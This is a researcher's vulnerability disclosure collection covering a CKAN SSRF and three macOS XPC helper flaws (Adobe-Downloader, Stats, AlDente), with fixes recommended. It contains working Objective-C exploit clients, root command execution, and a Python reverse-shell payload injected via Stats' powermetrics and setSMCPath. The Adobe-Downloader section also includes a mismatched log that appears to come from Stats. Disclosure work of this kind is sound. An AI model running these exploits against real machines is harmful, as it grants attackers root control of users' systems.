

CVE Collection

- [CKAN Authenticated SSRF <= 2.9.11/2.10.4](#)
- [Adobe-Downloader <=1.3.1 Local Privilege Escalation](#)
- [Stats < v2.11.22 Local Privilege Escalation](#)
- [AlDente-Charge-Limiter <1.30 Unauthorized Privileged Hardware Operations](#)

CKAN Authenticated SSRF <= 2.9.11/2.10.4

Vulnerability Information

Product: **Ckan**

Vendor: <https://github.com/ckan>

Affected Version(s): <= **2.9.11/2.10.4**

CVE ID: **TBD**

Description: **SSRF vulnerability in resource proxy functionality in Ckan <=2.9.11/2.10.4, allowing authenticated attackers to scan internal ports/hosts, and map the infrastructure environment.**

Vulnerability Type: **Server Side Request Forgery**

Root Cause: **User supplied property is not sanitized against common SSRF payloads when specifying the URL of external resources.**

Impact: **An authenticated attacker can scan ports/hosts of the internal network, and map the infrastructure environment. At the time of discovery, there were about 1000 instances on the Internet.**



Reproduction Steps

1. Use grep to search potential vulnerable code:

```
(root@kali)-[~/Desktop/ckan]
# grep -iR "requests.get(" --include=*.py
ckan/model/license.py:         response = requests.get(license_url, timeout=timeout)
ckan/lib/search/__init__.py:     response = requests.get(
ckan/lib/search/__init__.py:     response = requests.get(url, timeout=timeout)
ckan/lib/captcha.py:     response = requests.get(recaptcha_server_name, params, timeout=timeout)
ckanext/resourceproxy/tests/test_proxy.py:         result = requests.get(url, timeout=30)
ckanext/resourceproxy/tests/test_proxy.py:         result = requests.get(url, timeout=30)
ckanext/resourceproxy/tests/test_proxy.py:         requests.get(url, timeout=1)
ckanext/resourceproxy/blueprint.py:     r = requests.get(url, timeout=timeout, stream=True)
ckanext/resourceproxy/blueprint.py:     r = requests.get(
ckanext/datapusher/logic/action.py:     r = requests.get(url,
```

2. Take a closer look into the code:

```
<...SNIP...>
resource_id = data_dict[u'resource_id']
log.info(u'Proxyify resource {id}'.format(id=resource_id))
try:
    resource = get_action(u'resource_show')(context, {u'id': resource_id})
except logic.NotFound:
    return abort(404, _(u'Resource not found'))
url = resource[u'url']

parts = urlsplit(url)
if not parts.scheme or not parts.netloc:
    return abort(409, _(u'Invalid URL.))

timeout = config.get('ckan.resource_proxy.timeout')
max_file_size = config.get(u'ckan.resource_proxy.max_file_size')
response = make_response()
try:
    did_get = False
    r = requests.head(url, timeout=timeout)
    if r.status_code in (400, 403, 405):
        r = requests.get(url, timeout=timeout, stream=True)
<...SNIP...>
```

url is a user supplied property, and no input sanitization are employed.

3. To exploit the vulnerability, resource proxy plugin should be enabled:

<https://docs.ckan.org/en/2.9/maintaining/data-viewer.html#resource-proxy>

4. The vulnerability requires authentication, and the user should have specific permissions.

5. Add a view for a resource, specify the above internal URL.

image.png and or type unknown

image.png and or type unknown

6. Access the view, we can see hit logs. Attacker induces the server to make a request on his behalf.

```
(root@kali)-[~/Desktop]
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.1.64 - - [12/Jul/2024 17:44:35] code 404, message File not found
192.168.1.64 - - [12/Jul/2024 17:44:35] "GET /ssrf_pwn HTTP/1.1" 404 -
```

7. Stop the HTTP listener, and switch to a TCP listener.

image.png and or type unknown

8. Preview the view again, and the listener captures the access log against.

image.png and or type unknown

Interestingly, since it is a non-http port, the preview keeps loading.

image.png and or type unknown

The difference in response time can indicate whether a port is open, and whether the port is a http/https port. In this way, attackers can weaponize this vulnerability to scan internal network's hosts and ports.

Adobe-Downloader <=1.3.1

Local Privilege Escalation

XPC Local Privilege Escalation

Description

The Adobe-Downloader application is vulnerable to a local privilege escalation due to insecure implementation of its XPC service. The application registers a Mach service under the name **com.x1a0he.macOS.Adobe-Downloader.helper**. The associated binary, **com.x1a0he.macOS.Adobe-Downloader.helper**, is a privileged helper tool designed to execute actions requiring elevated privileges on behalf of the client.

The root cause of this vulnerability lies in the **shouldAcceptNewConnection** method, which unconditionally returns **YES** (or **true**), allowing any XPC client to connect to the service without any form of verification. Consequently, unauthorized clients can establish a connection to the Mach service and invoke methods exposed by the HelperToolProtocol interface.

```
extension HelperTool: NSXPCListenerDelegate {
    func listener(_ listener: NSXPCListener, shouldAcceptNewConnection newConnection: NSXPCCConnection) ->
    Bool {
        newConnection.exportedInterface = NSXPCInterface(with: HelperToolProtocol.self)
        newConnection.exportedObject = self

        newConnection.invalidationHandler = { [weak self] in
            self?.connections.remove(newConnection)
        }

        connections.insert(newConnection)
        newConnection.resume()

        return true
    }
}
```

Among the available methods, the **executeCommand** method is particularly dangerous. It allows the execution of arbitrary shell commands with root privileges, effectively granting attackers full control over the system.

```
@objc(HelperToolProtocol) protocol HelperToolProtocol {  
    func executeCommand(_ command: String, withReply reply: @escaping (String) -> Void)  
    func startInstallation(_ command: String, withReply reply: @escaping (String) -> Void)  
    func getInstallationOutput(withReply reply: @escaping (String) -> Void)  
}
```

Impact

An attacker can exploit the vulnerability to execute arbitrary code with root privilege.

Reproduction

1. Create a custom xpc client (exploit) with the following code:

```
#import <Foundation/Foundation.h>  
  
static NSString* XPCHelperMachServiceName = @"com.x1a0he.macOS.Adobe-Downloader.helper";  
  
@protocol HelperToolProtocol  
  
- (void)executeCommand:(NSString *)command withReply:(void (^)(NSString *response))reply;  
- (void)startInstallation:(NSString *)command withReply:(void (^)(NSString *response))reply;  
- (void)getInstallationOutputWithReply:(void (^)(NSString *output))reply;  
@end  
  
int main()  
{  
  
    NSString* service_name = XPCHelperMachServiceName;  
    NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name  
options:0x1000];
```

```

NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
[connection setRemoteObjectInterface:interface];
[connection resume];
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error)
    {
        NSLog(@"[-] Something went wrong");
        NSLog(@"[-] Error: %@", error);
    }
];
NSLog(@"Object: %@", obj);
NSLog(@"Connection: %@", connection);
NSString *command = @"touch /tmp/pwn.txt";

[obj executeCommand:command withReply:^(NSString *response)
    {
        NSLog(@"Response, %@", response);
    }
];

NSLog(@"Exploitation Completed!");
}

```

2. Compile and run the exploit, we can notice the command was executed by root, as a new txt file was created by root.

```

adler@adlers-Mac-mini xpc-exp % ls -al /tmp/pwn.txt
ls: /tmp/pwn.txt: No such file or directory
adler@adlers-Mac-mini xpc-exp % ./adobe-downloader
2024-12-10 01:05:06.823 adobe-downloader[76237:2841517] Object:
<__NSXPCInterfaceProxy_HelperToolProtocol: 0x600001058140>
2024-12-10 01:05:06.824 adobe-downloader[76237:2841517] Connection: <NSXPCCConnection:
0x6000000254140> connection to service named com.x1a0he.macOS.Adobe-Downloader.helper
2024-12-10 01:05:06.824 adobe-downloader[76237:2841517] Exploitation Completed!
adler@adlers-Mac-mini xpc-exp % ls -al /tmp/pwn.txt
-rw-r--r--  1 root  wheel  0 Dec 10 01:05 /tmp/pwn.txt

```

3. Change the command to obtain a reverse shell:

```
(root@kali)~[~/Desktop]
# nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.0.200] from (UNKNOWN) [192.168.0.10] 49283
sh: no job control in this shell
sh-3.2# id
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmount),12(everyone),20(staff),29(certuse
om.apple.sharepoint.group.1),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(c
m.apple.access_ssh),400(com.apple.access_remote_ae)
sh-3.2#
```

```
Administrator: Windows × Administrator: Windows × Administrator: Windows × + - □ ×
adler@adlers-Mac-mini xpc-exp % gcc -framework Foundation exploit.m -o exploit
adler@adlers-Mac-mini xpc-exp % ./exploit
2024-12-10 17:47:58.292 exploit[2713:135516] Objection Info: <__NSXPCInterfaceProxy_HelperP
rotocol: 0x600001de8960>
2024-12-10 17:47:58.293 exploit[2713:135516] Connection Info: <NSXPCConnection: 0x600000fe8
140> connection to service named eu.exelban.Stats.SMC.Helper
2024-12-10 17:47:58.293 exploit[2713:135516] Triggering a root reverse shell
2024-12-10 17:47:58.293 exploit[2713:135516] Enjoy the root shell : )
adler@adlers-Mac-mini xpc-exp %
```

Recommendation

Implement strong client verification, including code signing checks, audit token verification, a good example can be found at <https://github.com/objective-see/BlockBlock/blob/aa83b7326a4823e78cb2f2d214d39bc8af26ed79/Daemon/Daemon/XPCListener.m#L147>. It is also important to enable hardened runtime and restrict some entitlements, such as **com.apple.security.cs.disable-library-validation**, **com.apple.security.cs.allow-dyld-environment-variables**, **com.apple.private.security.clear-library-validation**, etc.

Stats < v2.11.22 Local Privilege Escalation

Description

The Stats application is vulnerable to a local privilege escalation due to the insecure implementation of its XPC service. The application registers a Mach service under the name `eu.exelban.Stats.SMC.Helper`. The associated binary, `eu.exelban.Stats.SMC.Helper`, is a privileged helper tool designed to execute actions requiring elevated privileges on behalf of the client, such as setting fan modes, adjusting fan speeds, and executing the `powermetrics` command.

The root cause of this vulnerability lies in the `shouldAcceptNewConnection` method, which unconditionally returns YES (or true), allowing any XPC client to connect to the service without any form of verification. As a result, unauthorized clients can establish a connection to the Mach service and invoke methods exposed by the HelperTool interface.

```
func listener(_ listener: NSXPCListener, shouldAcceptNewConnection connection: NSXPCConnection) -> Bool {
    connection.exportedInterface = NSXPCInterface(with: HelperProtocol.self)
    connection.exportedObject = self
    connection.invalidationHandler = {
        if let connectionIndex = self.connections.firstIndex(of: connection) {
            self.connections.remove(at: connectionIndex)
        }
        if self.connections.isEmpty {
            self.shouldQuit = true
        }
    }

    self.connections.append(connection)
    connection.resume()

    return true
}
```

Among the exposed methods, `setFanMode` and `setFanSpeed` can destabilize the user's device and even pose physical risks, such as overheating or system instability.

```
func setFanMode(id: Int, mode: Int, completion: @escaping (String?) -> Void)
func setFanSpeed(id: Int, value: Int, completion: @escaping (String?) -> Void)
```

The `powermetrics` method is particularly dangerous as it is vulnerable to a `command injection vulnerability`, allowing the execution of arbitrary code with root privileges. This effectively grants attackers full control over the system.

```
func powermetrics(_ samplers: [String], completion: @escaping (String?) -> Void) {
    let result = syncShell("powermetrics -n 1 -s \(samplers.joined(separator: ",")) --sample-rate 1000")
    if let error = result.error, !error.isEmpty {
        NSLog("error call powermetrics: \(error)")
        completion(nil)
        return
    }
    completion(result.output)
}

public func syncShell(_ args: String) -> (output: String?, error: String?) {
    let task = Process()
    task.launchPath = "/bin/sh"
    task.arguments = ["-c", args]

    let outputPipe = Pipe()
    let errorPipe = Pipe()

    defer {
        outputPipe.fileHandleForReading.closeFile()
        errorPipe.fileHandleForReading.closeFile()
    }

    task.standardOutput = outputPipe
    task.standardError = errorPipe

    do {
        try task.run()
    } catch let err {
        return (nil, "syncShell: \(err.localizedDescription)")
    }

    let outputData = outputPipe.fileHandleForReading.readDataToEndOfFile()
    let errorData = errorPipe.fileHandleForReading.readDataToEndOfFile()
```

```

let output = String(data: outputData, encoding: .utf8)
let error = String(data: errorData, encoding: .utf8)

return (output, error)
}

```

Except powermetrics method, command injection can also be achieved by chained call.

The `setSMCPath` method can be used to store an arbitrary command string, which is then directly interpolated into shell commands in both `setFanSpeed` and `setFanMode` methods via the expressions `syncShell("\(smc) fan \((id) -v \((value))")` and `syncShell("\(smc) fan \((id) -m \((mode))")`. This creates additional paths for privilege escalation.

For reference, I've included a proof-of-concept that demonstrates this vulnerability chain:

```

#import <Foundation/Foundation.h>

@protocol HelperProtocol

- (void)versionWithCompletion:(void (^)(NSString * _Nonnull))completion;
- (void)setSMCPath:(NSString * _Nonnull)path;
- (void)setFanModeWithId:(NSInteger)id mode:(NSInteger)mode completion:(void (^)(NSString * _Nullable))completion;
- (void)setFanSpeedWithId:(NSInteger)id value:(NSInteger)value completion:(void (^)(NSString * _Nullable))completion;
- (void)powermetrics:(NSArray<NSString *> * _Nonnull)samplers completion:(void (^)(NSString * _Nullable))completion;
- (void)uninstall;

@end

int main()
{
    NSString* service_name = @"eu.exelban.Stats.SMC.Helper";
    NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name
options:0x1000];
    NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
    [connection setRemoteObjectInterface:interface];
    [connection resume];
    id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error)

```

```

    {
        NSLog(@"[-] Something went wrong");
        NSLog(@"[-] Error: %@", error);
    }
};

NSLog(@"Objection Info: %@", obj);
NSLog(@"Connection Info: %@", connection);

NSLog(@"Triggering a root reverse shell\n");

NSString* path = @"python3 -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.0.200\",4444
));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\\\", \"-i\\\"]);''";

[obj setSMCPath:path];
sleep(3);
[obj setFanSpeedWithId:1 value:2000 completion:^(NSString * _Nullable result) {
if (result) {
    NSLog(@"Result: %@", result);
} else {
    NSLog(@"An error occurred.");
}
}
}];

NSLog(@"Enjoy the root shell : )\n");
}

```

```

adler@adlers-Mac-mini xpc-exp % gcc -framework Foundation stats.m -o setFanExploit
adler@adlers-Mac-mini xpc-exp % ./setFanExploit
2024-12-11 23:11:58.436 setFanExploit[2638:270681] Objection Info: <__NSXPCInterfaceProxy_HelperProtocol: 0x60000049c140>
2024-12-11 23:11:58.436 setFanExploit[2638:270681] Connection Info: <NSXPCConnection: 0x600001694140> connection to service na
2024-12-11 23:11:58.436 setFanExploit[2638:270681] Triggering a root reverse shell
2024-12-11 23:12:01.441 setFanExploit[2638:270681] Enjoy the root shell : )
adler@adlers-Mac-mini xpc-exp %

```

```

kali@kali: ~
(kali@kali)-[~]
$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.0.200] from (UNKNOWN) [192.168.0.10] 49503
sh: no job control in this shell
sh-3.2# id
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmount),12(everyone),20(
s),80(admin),701(com.apple.sharepoint.group.1),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsuse
m.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)
sh-3.2#

```

Impact

An attacker can exploit this vulnerability to modify the hardware settings of the user's device and execute arbitrary code with root privileges.

Reproduction

To avoid potential hardware damage, this demonstration focuses solely on the attack path to obtain root privileges without altering the device's hardware settings.

Step 1: Below is a custom XPC client (exploit) to demonstrate the issue. Feel free to change the value of `maliciousSamplers` to include different command payloads:

```
#import <Foundation/Foundation.h>

@protocol HelperProtocol

- (void)versionWithCompletion:(void (^)(NSString * _Nonnull))completion;
- (void)setSMCPath:(NSString * _Nonnull)path;
- (void)setFanModeWithId:(NSInteger)id mode:(NSInteger)mode completion:(void (^)(NSString * _Nullable))completion;
- (void)setFanSpeedWithId:(NSInteger)id value:(NSInteger)value completion:(void (^)(NSString * _Nullable))completion;
- (void)powermetrics:(NSArray<NSString *> * _Nonnull)samplers completion:(void (^)(NSString * _Nullable))completion;
- (void)uninstall;

@end

int main()
{
    NSString* service_name = @"eu.exelban.Stats.SMC.Helper";
    NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name
options:0x1000];
    NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
```

```

[connection setRemoteObjectInterface:interface];
[connection resume];
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error)
{
    NSLog(@"[-] Something went wrong");
    NSLog(@"[-] Error: %@", error);
}
];
NSLog(@"Objection: %@", obj);
NSLog(@"Connection: %@", connection);


NSArray<NSString *> *maliciousSamplers = @[@"cpu_power", @"gpu_power; python3 -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.0.200\",4444
));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\", \"-i\"]);'"];

[obj powermetrics:maliciousSamplers completion:^(NSString * _Nullable result) {
    if (result) {
        NSLog(@"Result: %@", result);
    } else {
        NSLog(@"An error occurred.");
    }
}];

NSLog(@"Exploitation completed\\n");
}

```

Step 2: To simulate an attacker's Command and Control (C2) server, set up a netcat listener on another host.

 image not found or type unknown

Step 3: Compile and execute the exploit, and we will quickly gain a root reverse shell.

 image not found or type unknown

 image not found or type unknown

Recommendation

Implement robust client verification mechanisms, including `code signing` checks and `audit token` (PID is not secure) verification. Some good examples of secure client validation can be found in <https://github.com/imothee/tmpdisk/blob/2572a5e738ba96d1d0ea545d620078410db62148/com.imothee.TmpDiskHelper/XPCServer.swift#L70>, <https://github.com/mhaeuser/Battery-Toolkit/blob/4b9a74bf1c31a57d78eb351b69fe09b861252f60/Common/BTXPCValidation.swift>, <https://github.com/duanefields/VirtualKVM/blob/master/VirtualKVM/CodesignCheck.swift>.

AlDente-Charge-Limiter

<1.30 Unauthorized Privileged Hardware Operations

Description

The AlDente-Charge-Limiter application is vulnerable to unauthorized privileged hardware operations due to the insecure implementation of its XPC service. The application registers a Mach service under the name **com.davidwernhart.Helper.mach**. The associated binary, **com.apphousekitchen.aldente-pro.helper**, is a privileged helper tool designed to execute actions requiring elevated privileges on behalf of the client, such as manipulating SMC values, managing power assertions, and reading sensitive system information through SMC values.

The root cause of this vulnerability lies in the **shouldAcceptNewConnection** method, which unconditionally returns YES (or true), allowing any XPC client to connect to the service without any form of verification. As a result, unauthorized attackers can establish a connection to the Mach service and invoke dangerous methods exposed by the HelperToolProtocol interface.

```
final class HelperDelegate: NSObject, NSXPCListenerDelegate {
    func listener(_ listener: NSXPCListener, shouldAcceptNewConnection newConnection: NSXPCConnection) ->
    Bool {
        newConnection.exportedInterface = NSXPCInterface(with: HelperToolProtocol.self)
        newConnection.exportedObject = HelperTool.instance
        newConnection.resume()
        return true
    }
}
```

Within the **HelperToolProtocol** protocol, some methods are particularly dangerous if attackers call them arbitrarily:

- **setSMCByte**: Direct hardware manipulation allowing potential device damage through fan speed/temperature control manipulation

- **createAssertion**: Power management exploitation leading to battery drain and resource exhaustion
- **readSMCByte/readSMCUInt32**: Information disclosure of system settings
- **setResetVal**: Malicious value injection that could corrupt system restore points; reset: Could trigger hardware malfunction if called after malicious value injection.

```
@protocol HelperToolProtocol <NSObject>
- (void)getVersionWithReply:(void (^)(NSString * _Nonnull))reply;
- (void)setSMCByteWithKey:(NSString * _Nonnull)key value:(uint8_t)value;
- (void)readSMCByteWithKey:(NSString * _Nonnull)key withReply:(void (^)(char))reply;
- (void)readSMCUInt32WithKey:(NSString * _Nonnull)key reply:(void (^)(uint32_t))reply;
- (void)createAssertionWithName:(NSString * _Nonnull)assertion reply:(void (^)(uint32_t))reply;
- (void)releaseAssertionWithID:(uint32_t)assertionID;
- (void)setResetValueWithKey:(NSString * _Nonnull)key value:(uint8_t)value;
- (void)reset;
@end
```

Impact

An attacker can exploit this vulnerability to have unrestricted access to these exposed SMC and power management methods, allowing them to potentially damage hardware through thermal manipulation, drain system resources, read sensitive system information through SMC values, and corrupt critical system settings, potentially leading to permanent device malfunction.

Reproduction

For safe demonstration purposes, only the **getVersionWithReply** method was tested to confirm the lack of client verification, proving that an attacker could similarly invoke other sensitive methods that could cause hardware damage.

1. Below is a custom XPC client (exploit) to demonstrate the issue.

```
#import <Foundation/Foundation.h>

static NSString* XPCHelperMachServiceName = @"com.apphousekitchen.aldente-pro.helper";
```

```

@protocol HelperToolProtocol <NSObject>
- (void)getVersionWithReply:(void (^)(NSString * _Nonnull))reply;
- (void)setSMCByteWithKey:(NSString * _Nonnull)key value:(uint8_t)value;
- (void)readSMCByteWithKey:(NSString * _Nonnull)key withReply:(void (^)(char))reply;
- (void)readSMCUInt32WithKey:(NSString * _Nonnull)key reply:(void (^)(uint32_t))reply;
- (void)createAssertionWithName:(NSString * _Nonnull)assertion reply:(void (^)(uint32_t))reply;
- (void)releaseAssertionWithID:(uint32_t)assertionID;
- (void)setResetValueWithKey:(NSString * _Nonnull)key value:(uint8_t)value;
- (void)reset;
@end

int main()
{
    NSString* service_name = XPCHelperMachServiceName;
    NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name
options:0x1000];
    NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
    [connection setRemoteObjectInterface:interface];
    [connection resume];

    // Create a semaphore to wait for the async reply
    dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);

    id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error)
    {
        NSLog(@"[-] Something went wrong");
        NSLog(@"[-] Error: %@", error);
        dispatch_semaphore_signal(semaphore);
    }];

    NSLog(@"Object: %@", obj);
    NSLog(@"NSXPC Connection: %@", connection);

    NSLog(@"Trying to call getVersionWithReply remotely\n");
    [obj getVersionWithReply:^(NSString *response)

```

```

{
    NSLog(@"Version: %@", response);
    dispatch_semaphore_signal(semaphore);
}];

// Wait for the reply (timeout after 5 seconds)
dispatch_semaphore_wait(semaphore, dispatch_time(DISPATCH_TIME_NOW, 5 * NSEC_PER_SEC));

NSLog(@"POC Completed!");
return 0;
}

```

2. Upon executing the exploit, the successful retrieval of version information and XPC connection logs demonstrates the lack of client verification, confirming the vulnerability is exploitable.

```

adler@adlers-Mac-mini xpc-exp % gcc -framework Foundation aldente.m -o aldente
adler@adlers-Mac-mini xpc-exp % ./aldente
2024-12-13 19:12:44.470 aldente[21372:1556358] Object: <__NSXPCInterfaceProxy_HelperToolProtocol:
0x60000016580a0>
2024-12-13 19:12:44.470 aldente[21372:1556358] NSXPC Connection: <NSXPCCConnection: 0x6000000440140>
connection to service named com.apphousekitchen.aldente-pro.helper
2024-12-13 19:12:44.470 aldente[21372:1556358] Trying to call getVersionWithReply remotely
2024-12-13 19:12:44.499 aldente[21372:1556364] Version: 15
2024-12-13 19:12:44.499 aldente[21372:1556358] POC Completed!

```

```

adler@adlers-Mac-mini tcc-exp % log stream --predicate '(subsystem == "com.apphousekitchen.aldente-
pro.helper") || (eventMessage CONTAINS "com.apphousekitchen.aldente-pro.helper")'
Filtering the log data using "subsystem == "com.apphousekitchen.aldente-pro.helper" OR composedMessage
CONTAINS "com.apphousekitchen.aldente-pro.helper""

```

Timestamp	Thread	Type	Activity	PID	TTL
2024-12-13 19:12:44.470	324-0500	0x17bf86	Default	0x0	21372 0 aldente: (libxpc.dylib)
[com.apple.xpc:connection] [0x1452053b0] activating connection: mach=true listener=false peer=false					
name=com.apphousekitchen.aldente-pro.helper					
2024-12-13 19:12:44.470	846-0500	0x17bf86	Default	0x0	21372 0 aldente: NSXPC Connection:
<NSXPCCConnection: 0x6000000440140> connection to service named com.apphousekitchen.aldente-pro.helper					

Mitigation

Implement robust client verification mechanisms, including **code signing check** and **audit token verification**.

Some good examples of secure client validation can be found in

<https://github.com/imothee/tmpdisk/blob/2572a5e738ba96d1d0ea545d620078410db62148/com.imothee.TmpDiskHelper/XPCServer.swift#L70>, <https://github.com/mhaeuser/Battery-Toolkit/blob/4b9a74bf1c31a57d78eb351b69fe09b861252f60/Common/BTXPCValidation.swift>, <https://github.com/duanefields/VirtualKVM/blob/master/VirtualKVM/CodesignCheck.swift>.